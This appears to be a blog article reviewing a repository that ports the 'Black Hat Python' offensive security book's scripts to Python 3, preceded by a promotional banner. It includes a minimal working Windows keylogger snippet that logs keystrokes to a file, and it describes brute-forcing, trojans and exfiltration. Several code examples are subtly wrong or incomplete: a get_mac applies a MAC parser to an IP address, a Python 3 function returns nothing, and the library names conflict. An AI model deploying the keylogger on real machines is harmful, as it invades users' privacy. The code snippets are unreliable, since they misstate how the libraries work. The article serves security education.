> your AI agent picks dependencies from memory; give it dated facts — try starlog.dev ↗ vet your agent's deps ↗ vibe-coding is fine. vibe-importing isn’t. — try starlog.dev ↗ vibe-importing isn’t fine ↗ your agent has never seen your private packages — try starlog.dev ↗ facts for private packages ↗ a linter for the dependencies your AI agent picks — try starlog.dev ↗ a linter for agent deps ↗

Back to Articles

Modernizing Black Hat Python: Converting Offensive Security Code from Python 2 to 3

[ View on GitHub ]

Modernizing Black Hat Python: Converting Offensive Security Code from Python 2 to 3

Hook

The most popular offensive security book in Python couldn't run on modern interpreters—until one developer spent months reverse-engineering every networking primitive and attack vector to make 2014's best hacking education work in 2024.

Context

When Justin Seitz published 'Black Hat Python' in 2014, Python 2 was still the dominant version for security work, and libraries like scapy, netaddr, and imp were stable foundations for offensive security scripting. The book became legendary among penetration testers and security researchers, offering practical implementations of network attacks, trojans, and data exfiltration techniques that actually worked. But Python 2 reached end-of-life in 2020, and the ecosystem moved on.

Readers trying to follow along with Seitz's book hit immediate roadblocks: import errors from deprecated modules, struct.pack failures on 64-bit systems, missing dependency files like SSH keys and wordlists, and scapy's broken Python 3 compatibility. The educational value was locked behind technical debt. EONRaider's blackhat-python3 repository emerged as the definitive solution—not just a lazy port, but a careful modernization that preserves the learning experience while making every example functional on contemporary Python installations.

Technical Insight

The repository's architecture mirrors the book's chapter-by-chapter progression, with directories for chapters 2 through 9 containing standalone scripts. This isn't enterprise software architecture—it's deliberately flat and direct. Each script demonstrates a specific offensive technique with minimal abstraction, allowing learners to see exactly how raw sockets, packet manipulation, and privilege escalation work without wading through inheritance hierarchies.

The most significant modernization work involved replacing deprecated libraries. Where Seitz used Python's netaddr for IP address manipulation, EONRaider switched to the standard library's ipaddress module. The original scapy library—essential for packet crafting—was completely broken in Python 3, so the conversion uses kamene, a Python 3 fork. The imp module for dynamic imports got replaced with types and importlib. Here's a before-and-after example from the ARP poisoning sniffer:

# Original Python 2 approach
import netaddr
from scapy.all import sniff

def get_mac(ip):
    # Would fail on Python 3
    return netaddr.EUI(ip).format()

# Python 3 modernization
import ipaddress
from kamene.all import sniff

def get_mac(ip_address):
    # Uses standard library, no external dependency
    addr = ipaddress.ip_address(ip_address)
    # Implementation continues with kamene instead of scapy

The repository also fixes subtle but critical bugs that Seitz's original code contained. The TCP server implementation in chapter 2, for instance, had struct.pack operations hardcoded for 32-bit architectures. On modern 64-bit systems, these would silently produce incorrect packet headers. EONRaider added proper format strings and byte order handling:

# Fixed struct packing for cross-architecture compatibility
import struct
import socket

class TCPPacket:
    def __init__(self, src_ip, dst_ip, src_port, dst_port):
        self.src_ip = socket.inet_aton(src_ip)
        self.dst_ip = socket.inet_aton(dst_ip)
        self.src_port = src_port
        self.dst_port = dst_port
    
    def pack(self):
        # Explicitly handle network byte order (big-endian)
        # and use standard sizes regardless of platform
        tcp_header = struct.pack('!HH', self.src_port, self.dst_port)
        # Continue with proper format specifications
        return tcp_header

Perhaps most valuable for learners, the repository includes all the missing pieces that frustrated book readers. Seitz references wordlists for the SSH brute-forcing examples—not included. The GitHub trojan chapter needs RSA keys—not provided. The web application scanner assumes specific JAR files exist. EONRaider tracked down or created these dependencies, making every example genuinely runnable.

The keylogger implementation demonstrates the educational philosophy perfectly. It uses PyHook3 (Windows-only) to capture keystrokes and demonstrates data exfiltration through multiple channels—files, network sockets, and even HTTP POST requests disguised as legitimate traffic. The code intentionally lacks error handling and documentation:

import pyHook
import pythoncom

def on_keyboard_event(event):
    # Deliberately minimal - students add robustness
    with open('logged.txt', 'a') as f:
        f.write(event.Key)
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = on_keyboard_event
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

This bare-bones approach forces learners to think about exception handling, buffering, stealth techniques, and persistence mechanisms themselves. The repository doesn't give you production-ready malware—it gives you functional starting points that expose how the underlying techniques actually work.

Gotcha

This repository has deliberate educational limitations that frustrate developers expecting polished code. There are no docstrings, no type hints, no comprehensive error handling, and no context managers for resource cleanup. Functions don't validate inputs. Network operations don't implement timeouts or retries. This is intentional—EONRaider preserved Seitz's pedagogical approach where students improve the code—but it means you're looking at what production code shouldn't be.

Many techniques are also outdated from a practical offensive security perspective. Modern intrusion detection systems easily catch the ARP poisoning implementation. The web scraping chapter's approach to JavaScript-heavy sites doesn't account for contemporary single-page applications. The Windows privilege escalation examples target vulnerabilities that have been patched for years. The original book came out in 2014, and while the Python 3 conversion makes the code run, it doesn't make the techniques current. Additionally, several tools have hard platform requirements—the keylogger only works on Windows with PyHook3, and some packet manipulation scripts assume Linux networking capabilities. Cross-platform compatibility wasn't a priority.

Verdict

Use if: You're working through 'Black Hat Python' and need code that actually runs on Python 3, you're learning offensive security fundamentals and want hands-on experience with raw sockets and packet manipulation, or you need reference implementations for network programming concepts like SSH servers, port scanners, and man-in-the-middle attacks. This repository makes classic security education accessible on modern Python. Skip if: You need production-ready penetration testing tools (use Impacket or Metasploit instead), you want well-architected code examples with proper documentation and error handling, you're looking for current offensive techniques that evade modern detection systems, or you need cross-platform security tools without Windows dependencies. This is strictly an educational resource that resurrects deprecated code for learning purposes—treat it as interactive coursework, not a professional toolkit.